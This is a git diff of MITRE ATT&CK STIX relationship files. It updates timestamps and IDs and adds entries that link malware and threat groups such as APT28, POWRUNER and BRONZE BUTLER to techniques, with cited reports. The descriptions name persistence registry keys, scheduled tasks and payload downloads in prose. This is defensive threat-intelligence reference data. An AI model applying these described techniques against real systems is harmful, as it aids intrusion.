             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP identifies files and directories for collection by searching for specific file extensions or file modification time.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--d04d6101-f6f6-42a2-8679-351956b75228.json b/enterprise-attack/relationship/relationship--d04d6101-f6f6-42a2-8679-351956b75228.json
index 7ed5384d76..380c6fbf63 100644
--- a/enterprise-attack/relationship/relationship--d04d6101-f6f6-42a2-8679-351956b75228.json
+++ b/enterprise-attack/relationship/relationship--d04d6101-f6f6-42a2-8679-351956b75228.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb89ef0b-3854-49f5-974c-fa18ac1f4607",
+    "id": "bundle--a3b6e033-c330-4453-9c3d-ecb9f4b83f5b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d04d6101-f6f6-42a2-8679-351956b75228",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc.json b/enterprise-attack/relationship/relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc.json
index 432cd4581f..d5d0795d50 100644
--- a/enterprise-attack/relationship/relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc.json
+++ b/enterprise-attack/relationship/relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5299fcb-3156-47e8-9e2e-88a460212088",
+    "id": "bundle--08b3cc3c-663d-419c-b545-63a9b7632173",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key <code>HKCU\\Software\\Microsoft\\Office test\\Special\\Perf</code> to execute code.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--d067b113-4584-419f-860b-d3184f734350.json b/enterprise-attack/relationship/relationship--d067b113-4584-419f-860b-d3184f734350.json
index 669dbe154b..e0344791e6 100644
--- a/enterprise-attack/relationship/relationship--d067b113-4584-419f-860b-d3184f734350.json
+++ b/enterprise-attack/relationship/relationship--d067b113-4584-419f-860b-d3184f734350.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d9fe2555-bd7f-4786-bf88-34878345b0ff",
+    "id": "bundle--a48ea1b2-b9a8-4375-b8ba-006477a797b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d067b113-4584-419f-860b-d3184f734350",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}</code>.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--d078f862-c090-4e79-808b-ff69887a920c.json b/enterprise-attack/relationship/relationship--d078f862-c090-4e79-808b-ff69887a920c.json
new file mode 100644
index 0000000000..5758e069a0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d078f862-c090-4e79-808b-ff69887a920c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ae8344b3-768d-4506-b9dd-36c75f275e70",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d078f862-c090-4e79-808b-ff69887a920c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may query the Registry by running <code>reg query</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d07f2da6-6497-414f-96c1-9dd60155b169.json b/enterprise-attack/relationship/relationship--d07f2da6-6497-414f-96c1-9dd60155b169.json
new file mode 100644
index 0000000000..611e4ee9f3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d07f2da6-6497-414f-96c1-9dd60155b169.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e10be8f2-5ba6-40b5-9008-f7c32ece1906",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers shares on the network ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d0b2e189-e764-44ec-9373-2f23212f6a45.json b/enterprise-attack/relationship/relationship--d0b2e189-e764-44ec-9373-2f23212f6a45.json
new file mode 100644
index 0000000000..a4c2c4c8ec
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d0b2e189-e764-44ec-9373-2f23212f6a45.json
@@ -0,0 +1,36 @@
+{
+    "type": "bundle",
+    "id": "bundle--07d29d6b-6ad3-40db-a86a-83b795d7d3bc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d0b2e189-e764-44ec-9373-2f23212f6a45",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS installs itself as a service to maintain persistence.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9.json b/enterprise-attack/relationship/relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9.json
index 546ca3debc..05e7071c0e 100644
--- a/enterprise-attack/relationship/relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9.json
+++ b/enterprise-attack/relationship/relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45b234d9-efcb-44f5-a5c0-02b806ba9185",
+    "id": "bundle--2c0e6e36-fda2-4e45-9ad8-a37fef281e0b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor uses various XOR techniques to obfuscate its components.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77.json b/enterprise-attack/relationship/relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77.json
index 30bf07a563..dcd6934acd 100644
--- a/enterprise-attack/relationship/relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77.json
+++ b/enterprise-attack/relationship/relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--20b9ae0f-e78c-4bd6-bff5-8a1fee2debc6",
+    "id": "bundle--f70305a6-eaf3-4010-8c37-9c4cb321ce14",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
diff --git a/enterprise-attack/relationship/relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f.json b/enterprise-attack/relationship/relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f.json
index c240eb5ce7..4dacd8f009 100644
--- a/enterprise-attack/relationship/relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f.json
+++ b/enterprise-attack/relationship/relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc5d913e-67e4-4384-bc37-4a1b7f04683b",
+    "id": "bundle--02b440dd-3f6e-4f8e-8d6c-a8e06cac7b20",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58.json b/enterprise-attack/relationship/relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58.json
index 57c6c05a9e..4937c123e0 100644
--- a/enterprise-attack/relationship/relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58.json
+++ b/enterprise-attack/relationship/relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0865b405-9bd2-4fd5-b0c0-85ee9126914e",
+    "id": "bundle--36ddfd80-168e-49f2-a6dd-daa1ce328b38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain information about the current user.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--d13aaa09-5465-4439-b100-444242601a98.json b/enterprise-attack/relationship/relationship--d13aaa09-5465-4439-b100-444242601a98.json
index 5658f9e70e..3e4b94c9d1 100644
--- a/enterprise-attack/relationship/relationship--d13aaa09-5465-4439-b100-444242601a98.json
+++ b/enterprise-attack/relationship/relationship--d13aaa09-5465-4439-b100-444242601a98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7dfd9725-4b21-46e7-b0a1-1d4acc633fde",
+    "id": "bundle--c289e6f5-8d3e-4d31-ba03-224bdbc7b2e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d13aaa09-5465-4439-b100-444242601a98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts.  This can be used to limit the number of egress points, or provide access to a host without direct internet access.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec.json b/enterprise-attack/relationship/relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec.json
index bdac8d9d0a..1261a78ef8 100644
--- a/enterprise-attack/relationship/relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec.json
+++ b/enterprise-attack/relationship/relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f5150d9-8e7b-411e-97c1-a61c4d2bd3b4",
+    "id": "bundle--2b6463b3-41a2-40fd-b08c-0cff43cc814e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to download an .exe and execute it via CreateProcess API.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb.json b/enterprise-attack/relationship/relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb.json
index 3f726b2b05..7c6b29943a 100644
--- a/enterprise-attack/relationship/relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb.json
+++ b/enterprise-attack/relationship/relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc093b3a-ad5b-4041-a7fe-404f027eef62",
+    "id": "bundle--b1de8412-555e-4076-985f-bc81522f1544",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork bypassed User Access Control (UAC).",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e.json b/enterprise-attack/relationship/relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e.json
index 7611e508f8..95442fbbfe 100644
--- a/enterprise-attack/relationship/relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e.json
+++ b/enterprise-attack/relationship/relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66b13b4f-a789-4f1d-8c78-964410a5a4f9",
+    "id": "bundle--c901759c-f6b2-4ba9-bfa7-8db06355fc11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a",
             "target_ref": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
diff --git a/enterprise-attack/relationship/relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46.json b/enterprise-attack/relationship/relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46.json
new file mode 100644
index 0000000000..9c12f7be1f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--6f3aed7f-a92c-43af-b55d-3ba9544a990d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d200ba08-8179-495e-a854-9b13be5c0f93.json b/enterprise-attack/relationship/relationship--d200ba08-8179-495e-a854-9b13be5c0f93.json
index 07a2977d78..f053b2bf94 100644
--- a/enterprise-attack/relationship/relationship--d200ba08-8179-495e-a854-9b13be5c0f93.json
+++ b/enterprise-attack/relationship/relationship--d200ba08-8179-495e-a854-9b13be5c0f93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd132dbf-5010-4f5e-b2b3-86e46d9be43e",
+    "id": "bundle--eb59645e-ad71-4eb3-8635-c84bbe567fff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of Emissary appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--d20b659b-3595-4171-9beb-668ab26bf398.json b/enterprise-attack/relationship/relationship--d20b659b-3595-4171-9beb-668ab26bf398.json
new file mode 100644
index 0000000000..032ed81799
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d20b659b-3595-4171-9beb-668ab26bf398.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f0a70f85-97cc-4794-bc64-920ff14a54c1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d20b659b-3595-4171-9beb-668ab26bf398",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d219ed2b-2877-450f-9a69-a30f36497d14.json b/enterprise-attack/relationship/relationship--d219ed2b-2877-450f-9a69-a30f36497d14.json
new file mode 100644
index 0000000000..bca6a38882
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d219ed2b-2877-450f-9a69-a30f36497d14.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--efba0cbd-0033-4494-8cad-ba700e512107",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer obtains the current user's security identifier.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d.json b/enterprise-attack/relationship/relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d.json
index a45392e760..ef35e5c4e8 100644
--- a/enterprise-attack/relationship/relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d.json
+++ b/enterprise-attack/relationship/relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7897df21-ae5f-4bcd-af0e-26679e0ae1a1",
+    "id": "bundle--9966e00a-363c-43bb-b3cb-1508f02023e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
diff --git a/enterprise-attack/relationship/relationship--d2560c35-b2f6-47d2-b573-236ef99894d5.json b/enterprise-attack/relationship/relationship--d2560c35-b2f6-47d2-b573-236ef99894d5.json
new file mode 100644
index 0000000000..92f9bb472f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d2560c35-b2f6-47d2-b573-236ef99894d5.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--55cd6039-3407-48b4-92cf-3dff7ae0b857",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f.json b/enterprise-attack/relationship/relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f.json
index 3fe6240b6d..533d3b1d6c 100644
--- a/enterprise-attack/relationship/relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f.json
+++ b/enterprise-attack/relationship/relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--470863b1-9cfc-43aa-bb36-ebf3d16490dc",
+    "id": "bundle--8713b8d3-755e-4f41-9924-ef5fd11b5fa1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Cobalt Strike can use PsExec to execute a payload on a remote host.",
+            "description": "Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
             "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
             "external_references": [
@@ -18,6 +18,11 @@
                     "source_name": "cobaltstrike manual",
                     "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                     "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                },
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
                 }
             ],
             "object_marking_refs": [
